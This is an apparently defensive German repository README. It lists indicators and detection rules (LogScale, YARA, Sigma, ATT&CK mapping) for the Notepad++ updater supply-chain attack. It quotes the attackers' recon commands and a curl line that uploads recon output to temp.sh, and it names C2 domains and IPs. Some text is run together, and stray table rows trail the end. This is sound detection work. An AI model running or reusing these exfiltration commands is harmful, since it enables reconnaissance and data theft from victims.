
IoCs und Erkennungsregeln für den Notepad++ Supply-Chain-Angriff (CVE-2025-15556) — Lotus Blossom APT, Juni–Dezember 2025. Beinhaltet Falcon LogScale-Abfragen, YARA/Sigma-Regeln und MITRE ATT&CK Mapping.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | Juni – Dezember 2025
Dieses Repository enthält eine umfassende, konsolidierte Sammlung von Indikatoren für Kompromittierung (IoCs) im Zusammenhang mit dem Notepad++-Supply-Chain-Angriff, der am 2. Februar 2026 offengelegt wurde.
Zwischen Juni und Dezember 2025 kompromittierte ein chinesischer staatlich geförderter Bedrohungsakteur die Hosting-Infrastruktur von Notepad++, kaperte den integrierten Update-Mechanismus (WinGUp) und lieferte selektiv trojanisierte Installer an gezielte Benutzer aus. Der Angriff nutzte das Fehlen einer kryptografischen Prüfung im Updater (vor v8.8.9) aus und ermöglichte die Verteilung von individuellen Backdoors, Cobalt Strike Beacons und Metasploit-Payloads.
| CVE | CVE-2025-15556 — Herunterladen von Code ohne Integritätsprüfung |
| Bedrohungsakteur | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| Aktiver Zeitraum | Juni 2025 – 2. Dezember 2025 |
| Angriffsvektor | Supply-Chain-Kompromittierung über den WinGUp-Autoupdater |
| Ziele | Regierung, Telekommunikation, Finanzdienstleistungen, IT-Dienstleister (Philippinen, Vietnam, El Salvador, Australien, Ostasien) |
| Malware | Chrysalis-Backdoor (eigen entwickelt), Cobalt Strike Beacon, Metasploit Meterpreter |
| Behoben in | Notepad++ v8.8.9+ (Zertifikatsprüfung) / v8.9.1+ (XMLDSig-Validierung) |
Kaspersky GReAT identifizierte drei unterschiedliche Infektionsketten, die etwa monatlich rotiert wurden, um der Erkennung zu entgehen:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitim) → Exploit über „load"-Datei
→ Metasploit-Downloader → Cobalt Strike Beacon
whoami && tasklist → exfiltriert über temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua-Interpreter) → alien.ini (kompiliertes Lua)
→ Shellcode über EnumWindowStationsW → Metasploit-Downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitim) → log.dll (gesideloadet)
→ entschlüsselt „BluetoothService"-Shellcode → Chrysalis-Backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ KOMPROMITTIERUNGS-ZEITSTRAHL │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Okt 25 │ Nov 25 │Dez 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Kette #1 (ProShow) │████████████████████ │
Kette #2 (Lua) │ █████████████████████████████ │
Kette #3 (DLL SL) │ ██████████████ │
Infra-Zugriff │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| Datei | Beschreibung |
|---|---|
notepadpp_supply_chain_iocs.csv | Vollständiger IoC-Datensatz (105 Indikatoren) mit MITRE ATT&CK-Zuordnung |
| Spalte | Beschreibung |
|---|---|
ioc_type | Typ: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | Der Indikatorwert |
chain | Infektionskette (1, 2, 3, 1/2, 2/3, all, n/a) |
context | Beschreibung, wofür der IoC steht |
source | Nachrichtenquelle (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | Schweregrad (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | MITRE ATT&CK-Technik-ID |
Verhaltensbasiert – IoC-agnostisch, höchster Wert:
gup.exe startet einen untergeordneten Prozess, der kein legitimer signierter Notepad++-Installer istgup.exe stellt Verbindungen zu Domains/IPs her, die nicht notepad-plus-plus.org, github.com, release-assets.githubusercontent.com sind%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (NSIS-Laufzeit – in allen Ketten vorhanden)Netzwerk – hohe Zuversicht:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) – insbesondere mit Dateiupload über curltemp.sh-URLs im User-Agent-Header45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210Aufklärungsbefehle (nach Exploitation):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// Malicious IPs
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Malicious Domains
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// Suspicious filenames
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Suspicious DLLs
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Chain-specific artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Detects malicious NSIS installers from Notepad++ supply chain attack"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe Suspicious Child Process
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects GUP.exe (Notepad++ updater) spawning suspicious child processes indicative of supply chain compromise
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- Legitimate Notepad++ installers with non-standard naming
level: high
title: Reconnaissance Data Exfiltration via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects system reconnaissance followed by data upload to temp.sh, as observed in Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- Legitimate use of temp.sh file sharing service (rare in corporate environments)
level: high
title: Notepad++ Supply Chain C2 Domain Resolution
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects DNS resolution of C2 domains associated with the Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- Very unlikely in corporate environments
level: critical
| Taktik | Technik | ID | Verwendung in dieser Kampagne |
|---|---|---|---|
| Erster Zugriff | Supply-Chain-Kompromittierung: Kompromittierung der Software-Lieferkette | T1195.002 | Gekaperter WinGUp-Update-Mechanismus |
| Ausführung | Befehl und Skript-Interpreter: Windows-Befehlsshell | T1059.003 | Aufklärung über cmd.exe |
| Ausführung | Befehl und Skript-Interpreter: Python/Lua | T1059.006 | Kette #2 Lua-Interpreter |
| Ausführung | Ausnutzung zur Client-Ausführung | T1203 | Kette #1 ProShow-Schwachstelle |
| Ausführung | Native API | T1106 | EnumWindowStationsW zur Shellcode-Ausführung |
| Persistenz | Hijacking des Ausführungsflusses: DLL-Sideloading | T1574.002 | Kette #3 log.dll-Sideloading |
| Umgehung der Verteidigung | Verschleierte Dateien oder Informationen | T1027 | Verschlüsselter Shellcode, XOR-Schlüssel "CRAZY" |
| Umgehung der Verteidigung | Tarnung: Übereinstimmender legitimer Name | T1036.005 | BluetoothService.exe, update.exe, AutoUpdater.exe |
| Entdeckung | Systeminformationsermittlung | T1082 | whoami, systeminfo, tasklist, netstat |
| Sammlung | Daten bereitgestellt: Lokale Datenbereitstellung | T1074.001 | Aufklärungsausgabe in .txt-Dateien gespeichert |
| Kommando und Kontrolle | Anwendungsschichtprotokoll: Webprotokolle | T1071.001 | HTTPS-C2 über Cobalt Strike, Chrysalis |
| Quelle | Link |
|---|---|
| Kaspersky GReAT — Unnoticed execution chains and new IoCs | securelist.com |
| Rapid7 — Chrysalis Backdoor: Dive into Lotus Blossom's Toolkit | rapid7.com |
| Notepad++ Official Disclosure — Hijacked Incident Info Update | notepad-plus-plus.org |
| Kevin Beaumont — Initial disclosure and attribution | DoublePulsar |
| Tenable — FAQ about Notepad++ Supply Chain Compromise | tenable.com |
| Orca Security — Update Hijack Analysis & Remediation | orca.security |
| CSO Online — Chinese APT sophisticated supply chain attack | csoonline.com |
gup.exe, das zwischen Juni und Dezember 2025 unerwartete untergeordnete Prozesse gestartet hat%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\)| Datum | Änderung |
|---|---|
| 2026-02-09 | Erste Veröffentlichung — 105 IoCs konsolidiert aus Kaspersky, Rapid7, CrowdStrike, Tenable |
Dieses Repository wird unter der MIT-Lizenz bereitgestellt. IoCs werden zu defensiven Zwecken aus öffentlichen Quellen aggregiert.
Beiträge sind willkommen. Wenn Sie zusätzliche IoCs, Erkennungsregeln oder Korrekturen haben:
Haftungsausschluss: Dieses Repository dient ausschließlich defensiven Cybersicherheitszwecken. Die IoCs und Erkennungsregeln werden wie besehen bereitgestellt, um Organisationen dabei zu helfen, ihre Gefährdung durch diese Supply-Chain-Kompromittierung zu bewerten.
| Kommando und Kontrolle | Verschlüsselter Kanal | T1573 | CS Beacon verschlüsselte Konfiguration |
| Kommando und Kontrolle | Eindringen von Werkzeugen übertragen | T1105 | Metasploit-Downloader ruft CS Beacon ab |
| Exfiltration | Exfiltration über Webdienst | T1567 | Upload zu temp.sh |